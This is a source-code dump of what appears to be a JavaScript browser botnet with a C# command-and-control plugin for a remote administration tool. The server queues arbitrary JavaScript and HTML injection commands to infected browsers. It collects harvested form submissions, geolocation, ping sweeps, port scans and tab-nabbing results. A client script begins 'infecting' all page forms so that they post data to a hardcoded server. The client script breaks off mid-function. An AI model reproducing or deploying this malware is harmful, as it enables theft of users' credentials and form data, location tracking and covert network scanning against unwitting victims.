545 | if (sCore.RAT.ServerSettings.ShowMessageBox("Another plugin wants acces to the JS Botnet Plugin Command Send Feature\r\nDo you allow it?",
546 | "Permission Check", MessageBoxButtons.YesNo, MessageBoxIcon.Question, pluginToken) == DialogResult.Yes)
547 | {
548 | jsAllowedTokens.Add(token);
549 | return true;
550 | }
551 | }
552 | else Console.WriteLine("Failed to give permission, because can't display a message box (no permission)"); //No display permission (should never reach this)
553 |
554 | return false; //Permission request rejected
555 | }
556 |
557 | ///
558 | /// Generate Permissions And Load Functions For External API Support
559 | ///
560 | private void PublishAPI()
561 | {
562 | //Create new permission checks for new API functions
563 | sCore.Utils.ExternalAPIs.LoadPermissionChecks(apiToken,
564 | new Predicate((x) => { return true; }),
565 | new Predicate((x) => { return sCore.Integration.Integrate.CheckPermission(Permissions.ServerControl, x); }),
566 | JSBotPermission
567 | );
568 |
569 | sCore.Utils.ExternalAPIs.LoadExternalAPIFunctions(apiToken, typeof(Class1)); //Load the API functions to the bridge
570 | }
571 |
572 | ///
573 | /// Handles selecting clients
574 | ///
575 | /// The sender of the event
576 | /// The event args
577 | private void ItemChangedHandler(object sender, EventArgs e)
578 | {
579 | ComboBox cb = (ComboBox)sender; //Get the cbox
580 |
581 | if (cb.SelectedItem != null) //If an item is selected
582 | {
583 | currentClient = cb.SelectedItem.ToString(); //Get the current client ID
584 | output.Clear(); //Clear the output box
585 | }
586 | }
587 |
588 | ///
589 | /// Handles command sending to clients
590 | ///
591 | /// The sender of the event
592 | /// The event args
593 | private void KeyDownHandler(object sender, KeyEventArgs e)
594 | {
595 | if (e.KeyCode == Keys.Return) //If eneter was pressed
596 | {
597 | if (blockCommands || currentClient == "") return; //If no client selected or commands are blocked return
598 | TextBox input = (TextBox)sender; //Get the sender control
599 | string cmd = input.Text; //Get the command text
600 | if (cmd == "cls" || cmd == "clear") output.Clear(); //Register local screen clear commands
601 | //Handle content parsing from specified local files
602 | if (cmd.StartsWith("append-html ")) //Append html to the end of the page
603 | {
604 | //Parse html content and create command
605 | string file = cmd.Substring(12);
606 | string html = "";
607 | if (File.Exists(file)) html = File.ReadAllText(file);
608 | else html = file;
609 | html = html.Replace(Environment.NewLine, string.Empty);
610 | html = html.Replace("\"", "\\\"");
611 | html = html.Replace("\t", string.Empty);
612 | html = html.Trim();
613 | cmd = "append-html " + html;
614 | }
615 | if (cmd.StartsWith("push-html ")) //Replace the site's html content
616 | {
617 | //Parse the html content and create the command
618 | string file = cmd.Substring(10);
619 | string html = "";
620 | if (File.Exists(file)) html = File.ReadAllText(file);
621 | else html = file;
622 | html = html.Replace(Environment.NewLine, string.Empty);
623 | html = html.Replace("\"", "\\\"");
624 | html = html.Replace("\t", string.Empty);
625 | html = html.Trim();
626 | cmd = "push-html " + html;
627 | }
628 | if (cmd.StartsWith("execute-js ")) //Execute raw javascript on the remote site
629 | {
630 | //Parse the JS content and create the command
631 | string file = cmd.Substring(11);
632 | string js = "";
633 | if (File.Exists(file)) js = File.ReadAllText(file);
634 | else js = file;
635 | js = js.Replace(Environment.NewLine, string.Empty);
636 | js = js.Replace("\"", "\\\"");
637 | js = js.Replace("\t", string.Empty);
638 | js = js.Trim();
639 | cmd = "execute-js " + js;
640 | }
641 | e.SuppressKeyPress = true; //Supress the eneter key
642 | input.Clear(); //Clear the command text
643 | commandPoll.Add(currentClient, cmd); //Add the command to the wait list
644 | if (output != null) output.AppendText("[Server->Client]: " + cmd + Environment.NewLine); //Append command to the output screen
645 | }
646 | }
647 |
648 | ///
649 | /// Create the UI of the plugin
650 | ///
651 | private void CreateUI()
652 | {
653 | TabControl tc = sCore.UI.CommonControls.mainTabControl; //Get the tabControl of the server
654 |
655 | //Invoke if we need to
656 | if (tc.InvokeRequired)
657 | {
658 | VoidDelegate vd = new VoidDelegate(CreateUI);
659 | tc.Invoke(vd);
660 | return;
661 | }
662 |
663 | //Create a tab page for this plugin
664 | TabPage tp = new TabPage();
665 | tp.Name = "page_WebExt";
666 | tp.Text = "JS Control";
667 | tp.BackColor = SystemColors.Window;
668 |
669 | //Create a client selector
670 | ComboBox cb = new ComboBox();
671 | cb.Name = "js_selectClient";
672 | cb.Text = "Select a client";
673 | cb.Size = new Size(200, 20);
674 | cb.Location = new Point(25, 25);
675 | cb.SelectedIndexChanged += new EventHandler(ItemChangedHandler);
676 | peerList = cb;
677 |
678 | //Create the label in front of the command box
679 | Label cmdLabel = new Label();
680 | cmdLabel.Text = "Command:";
681 | cmdLabel.Location = new Point(25, 70);
682 | cmdLabel.AutoSize = true;
683 |
684 | //Create the command box
685 | TextBox cmdInput = new TextBox();
686 | cmdInput.Size = new Size(500, 20);
687 | cmdInput.Location = new Point(100, 68);
688 | cmdInput.KeyDown += new KeyEventHandler(KeyDownHandler);
689 |
690 | //Create the label in front of the output screen
691 | Label outputLabel = new Label();
692 | outputLabel.AutoSize = true;
693 | outputLabel.Location = new Point(25, 115);
694 | outputLabel.Text = "Output:";
695 |
696 | //Create the output screen
697 | RichTextBox outputBox = new RichTextBox();
698 | outputBox.ReadOnly = true;
699 | outputBox.BackColor = SystemColors.Control;
700 | outputBox.Size = new Size(tc.Size.Width - 25 - 50, tc.Size.Height - 190);
701 | outputBox.Location = new Point(25, 140);
702 | output = outputBox;
703 |
704 | tp.Controls.AddRange(new Control[] { cb, cmdLabel, cmdInput, outputLabel, outputBox }); //Add the control to the tabpage
705 | tc.TabPages.Add(tp); //Add the tabpage to the tabControl
706 | }
707 |
708 | ///
709 | /// Server port parsing function with retry
710 | ///
711 | /// A valid integer for server port
712 | private int GetPort()
713 | {
714 | //Create a new input box
715 | Types.InputBoxValue ret = sCore.RAT.ServerSettings.ShowInputBox("Please eneter the server port", "Enter a port for the Bot listener to run on", pluginToken);
716 | if (ret.dialogResult != DialogResult.OK) return -1; //Result is cancel, return
717 | int portNumber = -1;
718 | int.TryParse(ret.result, out portNumber);
719 | if (portNumber == -1 || portNumber < 0) //Invalid port
720 | {
721 | sCore.RAT.ServerSettings.ShowMessageBox("You entered an invalid value", "Error", MessageBoxButtons.OK, MessageBoxIcon.Warning, pluginToken); //Notify the admin
722 | return GetPort(); //Try again
723 | }
724 | else return portNumber; //Return the valid integer
725 | }
726 |
727 | ///
728 | /// Message object for async calls
729 | ///
730 | private struct MessageData
731 | {
732 | public byte[] buffer; //Receive buffer
733 | public Socket sender; //Client Socket
734 | }
735 |
736 | ///
737 | /// Async callback for accepting incoming connctions
738 | ///
739 | /// Async Result
740 | private void AcceptClient(IAsyncResult ar)
741 | {
742 | try
743 | {
744 | Console.WriteLine("Client connected!"); //Debug message
745 | Socket s = _serverSocket.EndAccept(ar); //The connected client
746 | //Don't log clients in a list, because they will disconnect after the response(HTTP), there is no persistent connection
747 | MessageData md = new MessageData() //Create a new message object
748 | {
749 | buffer = new byte[1024],
750 | sender = s
751 | };
752 |
753 | s.BeginReceive(md.buffer, 0, md.buffer.Length, SocketFlags.None, new AsyncCallback(ReadCallback), md); //Begin reading from the botnet client
754 | }
755 | catch (Exception ex)
756 | {
757 | Console.WriteLine("Failed to accept client, Reason: " + ex.ToString()); //Accept failed
758 | }
759 | }
760 |
761 | ///
762 | /// Parse HTTP GET request params
763 | ///
764 | /// The HTTP request
765 | /// The parsed GET params
766 | private Dictionary GetRequestParams(string requestString)
767 | {
768 | String[] lines = requestString.Split('\n'); //Split the request by new lines
769 | List reqLines = new List(); //Create a new string list
770 | Dictionary dict = new Dictionary(); //Create the param dictionary
771 |
772 | foreach (string line in lines) //Loop through the lines
773 | {
774 | reqLines.Add(line.Replace("\r", String.Empty)); //Strip \r from the end and add the lines to the list
775 | }
776 |
777 | lines = reqLines.ToArray(); //Convert the list back to array
778 | reqLines.Clear(); //Clear the list
779 | reqLines = null; //Dereference the list
780 |
781 | string pLine = lines[0]; //Get the first line of the request
782 | int qPos = pLine.IndexOf('?'); //Get the position of the first question mark
783 | pLine = pLine.Substring(qPos + 1, pLine.Length - qPos - 1); //Cut until the question mark
784 | pLine = pLine.Replace(" HTTP/1.1", String.Empty); //Strip the HTTP version from the line
785 | if (pLine.Contains("&")) //Multiple params
786 | {
787 | String[] ps = pLine.Split('&'); //Split the params
788 |
789 | foreach (string p in ps) //Loop through the params
790 | {
791 | String[] param = p.Split('='); //Split to key value pair
792 | dict.Add(param[0], param[1]); //Add them to the param list
793 | }
794 | }
795 | else //Only one param
796 | {
797 | String[] param = pLine.Split('='); //Split them to key value pair
798 | dict.Add(param[0], param[1]); //Add them to the param list
799 | }
800 |
801 | return dict; //Return the param list
802 | }
803 |
804 | ///
805 | /// Get the next command based on clientID
806 | ///
807 | /// The id of the client waiting for the next command
808 | /// The next command for the client or null if there isn't any
809 | private string GetNextCommand(string clientID)
810 | {
811 | Monitor.Enter(pollLock); //Lock the command poll object
812 | if (commandPoll.ContainsKey(clientID)) //Check if there are commands for our client
813 | {
814 | string cmd = commandPoll.At(clientID); //Get the first command for the client
815 | commandPoll.RemoveByKey(clientID); //Remove that command
816 | Monitor.Exit(pollLock); //Release the command poll lock
817 | return cmd; //Return the command for the client
818 | }
819 | else //There isn't any commands for this client
820 | {
821 | Monitor.Exit(pollLock); //Release the lock for the commandPoll
822 | return null; //Return null;
823 | }
824 | }
825 |
826 | ///
827 | /// Filters and Removes inactive clients
828 | ///
829 | private void CleanThread()
830 | {
831 | while (true)
832 | {
833 | if (threadStop) break; //If stop flag is set, then exit the thread
834 |
835 | try
836 | {
837 | List flagged = new List(); //Flagged clients for removal
838 |
839 | foreach (KeyValuePair kvp in _clientList) //Loop through the clients
840 | {
841 | DateTime cmp = DateTime.Now;
842 | TimeSpan diff = cmp - kvp.Value;
843 | if (diff.TotalSeconds >= 50) flagged.Add(kvp.Key); //if a client didn't responded in the last 50 seconds, flag it
844 | }
845 |
846 | if (flagged.Count > 0) //inactive clients detected
847 | {
848 | blockCommands = true; //Block user from issuing commands
849 | Monitor.Enter(pollLock); //Lock commandPoll, because a list operation is might be going on in GetNextCommand
850 | foreach (string rclient in flagged)
851 | {
852 | commandPoll.RemoveAllByKey(rclient); //Remove commands tasked for unresponsive clients
853 | _clientList.Remove(rclient); //Remove inactive clients from clientList
854 | if (currentClient == rclient) DisconnectCurrent(); //if the current client is inactive set the current client to nothing
855 | }
856 | Monitor.Exit(pollLock); //Release lock, because we no longer manipulate the commandPoll obj
857 | while (commandPoll.Count != 0) Thread.Sleep(1000); //wait for active clients to process all commands
858 |
859 | reservedIds = 0; //reset the reserved ids
860 | ClearListClient(); //Remove all client entries from combobox
861 |
862 | int compareID = int.Parse(flagged[0].Substring(6));
863 |
864 | foreach (string clientName in _clientList.Keys) //go through all clients
865 | {
866 | int clientID = int.Parse(clientName.Substring(6));
867 |
868 | if (!flagged.Contains(clientName) && clientID > compareID) //Filter inactive clients
869 | {
870 | commandPoll.Add(clientName, "reassign"); //add a command to request new client id to all active clients
871 | }
872 | }
873 |
874 | //Clients will now request new client IDs wait 12 seconds for that
875 | Thread.Sleep(12000);
876 |
877 | blockCommands = false; //Let the user issue commands again
878 | }
879 |
880 | Thread.Sleep(5000);
881 | }
882 | catch (NullReferenceException ex)
883 | {
884 | Console.WriteLine("Clean Thread error Reason: " + ex.ToString());
885 | if (threadStop) break;
886 | }
887 | }
888 |
889 | threadStop = false; //Reset the flag, because after the stop it wil stay true.
890 | }
891 |
892 | ///
893 | /// Clear the client list combobox
894 | ///
895 | private void ClearListClient()
896 | {
897 | //Invoke if we need to
898 | if (peerList.InvokeRequired)
899 | {
900 | VoidDelegate vd = new VoidDelegate(ClearListClient);
901 | peerList.Invoke(vd);
902 | return;
903 | }
904 |
905 | //Clear the list and reset the selected item
906 | peerList.Items.Clear();
907 | peerList.SelectedItem = null;
908 | peerList.Text = "";
909 | }
910 |
911 | ///
912 | /// Disconnect from current client
913 | ///
914 | private void DisconnectCurrent()
915 | {
916 | //Invoke if we need to
917 | if (output.InvokeRequired)
918 | {
919 | VoidDelegate vd = new VoidDelegate(DisconnectCurrent);
920 | output.Invoke(vd);
921 | return;
922 | }
923 |
924 | //Reset the current client and the output screen
925 | currentClient = "";
926 | output.Text = "";
927 | }
928 |
929 | ///
930 | /// Add a new client to the client list
931 | ///
932 | /// The ID of the client to add
933 | private void AddListClient(string clientName)
934 | {
935 | //Invoke if we need to
936 | if (peerList.InvokeRequired)
937 | {
938 | StringDelegate sd = new StringDelegate(AddListClient);
939 | peerList.Invoke(sd, new object[] { clientName });
940 | return;
941 | }
942 |
943 | //Add the client to the list
944 | peerList.Items.Add(clientName);
945 | }
946 |
947 | ///
948 | /// Remove a client from the list
949 | ///
950 | /// The ID of the client to remove
951 | private void RemoveListClient(string clientName)
952 | {
953 | //Check if we need to invoke
954 | if (peerList.InvokeRequired)
955 | {
956 | StringDelegate sd = new StringDelegate(AddListClient);
957 | peerList.Invoke(sd, new object[] { clientName });
958 | return;
959 | }
960 |
961 | //Remove the client from the list
962 | peerList.Items.Remove(clientName);
963 | }
964 |
965 | ///
966 | /// Async Read from the client
967 | ///
968 | /// Async Result
969 | private void ReadCallback(IAsyncResult ar)
970 | {
971 | MessageData md = (MessageData)ar.AsyncState; //Get the message object
972 | int read = md.sender.EndReceive(ar); //Read the message
973 | Console.WriteLine("Reading from stream " + read.ToString() + " bytes");
974 | if (read > 0) //If something is read
975 | {
976 | //Convert the data to string
977 | byte[] data = new byte[read];
978 | Array.ConstrainedCopy(md.buffer, 0, data, 0, read);
979 | string text = Encoding.ASCII.GetString(data);
980 |
981 | Dictionary dict = GetRequestParams(text); //Get the request params
982 | Dictionary d = new Dictionary(); //Define the response params
983 |
984 | string cmd = dict["command"]; //Get the client's command
985 | Console.WriteLine(cmd);
986 |
987 | if (cmd == "register") //Client's first check, it wants to get a client ID
988 | {
989 | Console.WriteLine("In registration");
990 | string clientID = "Client" + reservedIds.ToString(); //Get the next available ID
991 | _clientList.Add(clientID, DateTime.Now.AddSeconds(1)); //Add 1 second for next poll
992 | AddListClient(clientID); //Add the client to the list
993 | reservedIds++; //Reserve the current ID
994 | d.Add("result", clientID); //Add result, clientID to response params
995 | SendResponse(d, md.sender); //Send response
996 | }
997 | else if (cmd == "getCommand") //Client wants to get new commands to execute
998 | {
999 | string rcmd = GetNextCommand(dict["client"]); //Get the next queued command for the client
1000 | if (rcmd == null) rcmd = ""; //No commands for now
1001 | d.Add("result", rcmd); //Add the command to the response
1002 | _clientList[dict["client"]] = DateTime.Now; //Update the comm date
1003 | SendResponse(d, md.sender); //Send response to client
1004 | }
1005 | else if (cmd == "feedback") //Client wants to send feedback, about the result of a long running command
1006 | {
1007 | string msg = dict["text"]; //Get the feedback text
1008 | if (currentClient == dict["client"]) AppendResponse(msg); //If the current client sent the feedback, display it
1009 | JSBotnetMessageReceived?.Invoke(new JSBotnetMessageEventArgs(msg, dict["client"], dict));
1010 | d.Add("status", "received"); //Add status to the response
1011 | SendResponse(d, md.sender); //Send response to client
1012 | }
1013 | else if (cmd == "formData") //Client sends result about a form harvest
1014 | {
1015 | string client = dict["client"]; //The client, which harvested the form
1016 | string dump = dict["formDump"]; //The form dump itself
1017 | string site = dict["site"]; //The site which the form was dumped on
1018 | dump = Uri.UnescapeDataString(dump); //Convert from URL Encoding
1019 | site = Uri.UnescapeDataString(site); //Convert from URL Encoding
1020 |
1021 | string format = client + " - " + site + Environment.NewLine + dump + Environment.NewLine; //Create a data string
1022 | WriteFormData(format); //Store the form data
1023 | d.Add("sample", "sample"); //Add some params to the response
1024 | SendResponse(d, md.sender); //Send response to client
1025 | }
1026 | else if (cmd == "storeLocation") //Client sends result of geolocation
1027 | {
1028 | string client = dict["client"]; //The client which geolocated the browser
1029 | //Create and Display the message
1030 | string message = "200 Success on requeting geolocation\r\n" + client + " responded with: lat:" + dict["latitude"] + "; lng: " + dict["longitude"];
1031 | AppendResponse(message);
1032 | JSBotnetMessageReceived?.Invoke(new JSBotnetMessageEventArgs(message, dict["client"], dict));
1033 | //Respond to client
1034 | d.Add("sample", "sample");
1035 | SendResponse(d, md.sender);
1036 | }
1037 | else if (cmd == "errorLocation") //The client send result of a failed geolocation attempt
1038 | {
1039 | string client = dict["client"]; //The client which failed the geolocation
1040 | //Create and Display message
1041 | string message = "404 Geolocation failed on target!\r\n" + client + "Responded with: " + dict["message"];
1042 | AppendResponse(message);
1043 | JSBotnetMessageReceived?.Invoke(new JSBotnetMessageEventArgs(message, dict["client"], dict));
1044 | //Respond to client
1045 | d.Add("sample", "sample");
1046 | SendResponse(d, md.sender);
1047 | }
1048 | else if (cmd == "pingResult") //Client sends the result of a ping sweep on the network
1049 | {
1050 | string client = dict["client"]; //The client which executed the ping sweep
1051 | //Create and Display message
1052 | string message = "200 Ping sweep finished on target!\r\n" + client + " Responded with: " + dict["result"];
1053 | AppendResponse(message);
1054 | JSBotnetMessageReceived?.Invoke(new JSBotnetMessageEventArgs(message, dict["client"], dict));
1055 | //Respond to the client
1056 | d.Add("sample", "sample");
1057 | SendResponse(d, md.sender);
1058 | }
1059 | else if (cmd == "portResult") //Client sends a portscan result
1060 | {
1061 | string client = dict["client"]; //The client which scanned a port
1062 | //Create and Display message
1063 | string message = "200 Port Scan completed\r\n" + client + " responded with: " + dict["message"];
1064 | AppendResponse(message);
1065 | JSBotnetMessageReceived?.Invoke(new JSBotnetMessageEventArgs(message, dict["client"], dict));
1066 | //Repond to client
1067 | d.Add("sample", "sample");
1068 | SendResponse(d, md.sender);
1069 | }
1070 | else if (cmd == "tabNabReport") //Client sends the result of a tabnab
1071 | {
1072 | string client = dict["client"]; //The client which executed tabnab
1073 | //Create and Display message
1074 | string message = "200 " + client + " tab nab activated, site changed to: " + dict["site"];
1075 | AppendResponse(message);
1076 | JSBotnetMessageReceived?.Invoke(new JSBotnetMessageEventArgs(message, dict["client"], dict));
1077 | //Respond to client
1078 | d.Add("sample", "sample");
1079 | SendResponse(d, md.sender);
1080 | }
1081 | else //Invalid client command received
1082 | {
1083 | JSBotnetMessageReceived?.Invoke(new JSBotnetMessageEventArgs("Invalid Client Command", dict["client"], dict));
1084 | AppendResponse("Invalid command received.\r\nIgnoring request and continuing tasks");
1085 | }
1086 |
1087 | try //Try to restart receiving
1088 | {
1089 | md.buffer = new byte[1024];
1090 | md.sender.BeginReceive(md.buffer, 0, md.buffer.Length, SocketFlags.None, new AsyncCallback(ReadCallback), md);
1091 | }
1092 | catch (Exception) //Failed to restart receiving, close client socket
1093 | {
1094 | if (md.sender.Connected) md.sender.Disconnect(false);
1095 | md.sender.Close();
1096 | md.sender.Dispose();
1097 | md.sender = null;
1098 | }
1099 | }
1100 | else //Nothing is read, close the connection socket
1101 | {
1102 | if (md.sender.Connected) md.sender.Disconnect(false);
1103 | md.sender.Close();
1104 | md.sender.Dispose();
1105 | md.sender = null;
1106 | }
1107 | }
1108 |
1109 | ///
1110 | /// Write form dump result to a file
1111 | ///
1112 | /// The form dump contents
1113 | private void WriteFormData(string fd)
1114 | {
1115 | const string dumpFile = "formDump.txt";
1116 | if (!File.Exists(dumpFile)) File.Create(dumpFile).Close(); //Create the file if needed
1117 | //Append the content to the file
1118 | string fileContent = File.ReadAllText(dumpFile);
1119 | fileContent += fd;
1120 | File.WriteAllText(dumpFile, fileContent);
1121 | }
1122 |
1123 | ///
1124 | /// Append text to output screen
1125 | ///
1126 | /// The text to append
1127 | private void AppendResponse(string response)
1128 | {
1129 | //Check if we need to invoke
1130 | if (output.InvokeRequired)
1131 | {
1132 | StringDelegate sd = new StringDelegate(AppendResponse);
1133 | output.Invoke(sd, new object[] { response });
1134 | return;
1135 | }
1136 |
1137 | response = Uri.UnescapeDataString(response); //Decode URL encoded chars
1138 |
1139 | output.AppendText("[Client->Server]: " + response + Environment.NewLine); //Append the text
1140 | }
1141 |
1142 | ///
1143 | /// Send HTTP Response to the client's request
1144 | ///
1145 | /// The parameter to send
1146 | /// The client socket to send the reponse to
1147 | private void SendResponse(Dictionary dict, Socket client)
1148 | {
1149 | string json = "{"; //Create a new string, where we store the JSON data
1150 |
1151 | foreach (KeyValuePair kvp in dict) //Convert the parameters to JSON encoded string
1152 | {
1153 | json += "\"" + kvp.Key + "\": \"" + kvp.Value + "\",";
1154 | }
1155 |
1156 | //Format the JSON string
1157 | json = json.Substring(0, json.Length - 1);
1158 | json += "}";
1159 | Console.WriteLine("Result JSON: " + json);
1160 | //Construct the response
1161 | byte[] content = Encoding.ASCII.GetBytes(json);
1162 | string resp = "HTTP/1.1 200 OK\r\nServer: ratServer\r\nContent-Length: " + content.Length + "\r\nContent-Type: application/json\r\nAccess-Control-Allow-Origin: *\r\n\r\n";
1163 | byte[] header = Encoding.ASCII.GetBytes(resp);
1164 | byte[] total = new byte[header.Length + content.Length];
1165 | Array.Copy(header, total, header.Length);
1166 | Array.ConstrainedCopy(content, 0, total, header.Length, content.Length);
1167 | //Send response to client
1168 | client.Send(total);
1169 | }
1170 |
1171 | ///
1172 | /// Plugin Thread Entry Point
1173 | ///
1174 | public void PMain()
1175 | {
1176 | int port = -1; //Define the server port
1177 | if (canDisplay) port = GetPort();
1178 | if (port == -1)
1179 | {
1180 | Console.WriteLine("Invalid Port or Permissions Denied");
1181 | return;
1182 | }
1183 | //Create and start the cleaning thread
1184 | Thread t = new Thread(new ThreadStart(CleanThread));
1185 | t.Start();
1186 | //Create and start the server socket
1187 | _serverSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
1188 | IPEndPoint ep = new IPEndPoint(IPAddress.Any, port);
1189 | _serverSocket.Bind(ep);
1190 | _serverSocket.Listen(5);
1191 | _serverSocket.BeginAccept(new AsyncCallback(AcceptClient), null);
1192 | //Create the UI of the plugin
1193 | CreateUI();
1194 | Console.WriteLine("Setup completed"); //Debug message
1195 | }
1196 |
1197 | ///
1198 | /// Plugin Exit Point
1199 | ///
1200 | public void OnExit()
1201 | {
1202 | //Remove all external APIs and permissions provided by this plugin
1203 | sCore.Utils.ExternalAPIs.RemoveAllFunctions(apiToken);
1204 | sCore.Utils.ExternalAPIs.RemovePermissionCheckers(apiToken);
1205 | jsAllowedTokens.Clear();
1206 | //Set flag to stop running threads
1207 | threadStop = true;
1208 | //Clear, dispose commandPoll
1209 | commandPoll.Clear();
1210 | //Disconnect, dispose, close the serverSocket
1211 | if (_serverSocket.Connected) _serverSocket.Disconnect(false);
1212 | _serverSocket.Close();
1213 | _serverSocket.Dispose();
1214 | _serverSocket = null;
1215 | //Clear and dispose the client list
1216 | _clientList.Clear();
1217 | //Remove the tabPage
1218 | sCore.UI.CommonControls.mainTabControl.Invoke(new Action(() =>
1219 | {
1220 |
1221 | TabPage toRemove = null;
1222 |
1223 | foreach (TabPage tp in sCore.UI.CommonControls.mainTabControl.TabPages)
1224 | {
1225 | if (tp.Text.ToLower() == "js control")
1226 | {
1227 | toRemove = tp;
1228 | }
1229 | }
1230 |
1231 | if (toRemove != null) sCore.UI.CommonControls.mainTabControl.TabPages.Remove(toRemove);
1232 |
1233 | }));
1234 | }
1235 | }
1236 | }
1237 |
--------------------------------------------------------------------------------
/WebPlugin/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("WebPlugin")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("WebPlugin")]
13 | [assembly: AssemblyCopyright("Copyright © 2017")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("2b32ecde-4912-4142-8a86-28dfba7b6b15")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/WebPlugin/WebPlugin.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {2B32ECDE-4912-4142-8A86-28DFBA7B6B15}
8 | Library
9 | Properties
10 | WebPlugin
11 | WebPlugin
12 | v4.5.2
13 | 512
14 |
15 |
16 | true
17 | full
18 | false
19 | bin\Debug\
20 | DEBUG;TRACE
21 | prompt
22 | 4
23 |
24 |
25 | pdbonly
26 | true
27 | bin\Release\
28 | TRACE
29 | prompt
30 | 4
31 |
32 |
33 |
34 | ..\..\sCore\sCore\bin\Debug\sCore.dll
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
--------------------------------------------------------------------------------
/WebPlugin/bin/Debug/WebPlugin.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AdvancedHacker101/Javascript-Botnet-C-Sharp/ad27432191e2b1026fdb44752cd797b808dcf2f3/WebPlugin/bin/Debug/WebPlugin.dll
--------------------------------------------------------------------------------
/WebPlugin/bin/Debug/c# R.A.T Browser/main.js:
--------------------------------------------------------------------------------
1 | //Section: Global Variables
2 |
3 | var debug_mode = 1;
4 | var clientID = "";
5 | var listening = false;
6 | var afterError = false;
7 | var intervalHost;
8 | var allFormData = "";
9 | var validIPs = "";
10 | var lastIP = "";
11 | var validSubnetFound = false;
12 | var blocked_ports = [0,1,7,9,11,13,15,17,19,20,21,22,23,25,37,42,43,53,77,79,87,95,101,102,103,104,109,110,111,113,115,117,119,123,135,139,143,179,389,465,512,513,514,515,526,530,531,532,540,556,563,587,601,636,993,995,2049,4045,6000];
13 | var actionIntervalHost;
14 | var inactiveTime = 0;
15 | var tabNabSite = "";
16 | var canTabNab = false;
17 | var serverLocation = "http://192.168.10.56:80";
18 |
19 | //Section: Helper Methods
20 |
21 | function Log(message) //Log messages
22 | {
23 | if (debug_mode == 1) console.log(message); //Only log if debug_mode is set
24 | }
25 |
26 | function CheckjQuery() //Check if jQuery exists
27 | {
28 | if (typeof jQuery == "undefined") return false; //jQuery is undefined, not existing
29 | return true; //jQuery is defined, existing
30 | }
31 |
32 | function LoadjQuery() //Load yQuery into the document
33 | {
34 | var scriptTag = document.createElement("script"); //Create HTML Script Tag
35 | scriptTag.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"; //Source is jQuery hosted on googleapis
36 | scriptTag.type = "text/javascript"; //Script type is javascript
37 | document.getElementsByTagName("head")[0].appendChild(scriptTag); //Insert the scriptag to the head section of the HTML document
38 | }
39 |
40 | var waitForjQuery = function () //Wait for jQuery to load
41 | {
42 | if (CheckjQuery) //Jquery is loaded
43 | {
44 | Log("jQuery loaded");
45 | startListener(); //Start polling
46 | }
47 | else //jQuery is not yet loaded
48 | {
49 | window.setTimeout(waitForjQuery, 1000); //Wait another 1 second
50 | }
51 | };
52 |
53 | function infectAllForms() //infect all forms on a website (on submit sends all from data to server)
54 | {
55 | var all = document.getElementsByTagName("*"); //Get every element on zhe page
56 |
57 | for (var i=0, max=all.length; i < max; i++) { //Loop through every element
58 | var element = all[i]; //The current element
59 | var element_type = '<' + element.tagName.toLowerCase() + '>'; //Element tag name
60 | Log(element_type);
61 | if (element_type == "
19 |
20 |
26 |
27 |
28 |
29 |
--------------------------------------------------------------------------------
/WebPlugin/bin/Debug/sCore.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AdvancedHacker101/Javascript-Botnet-C-Sharp/ad27432191e2b1026fdb44752cd797b808dcf2f3/WebPlugin/bin/Debug/sCore.dll
--------------------------------------------------------------------------------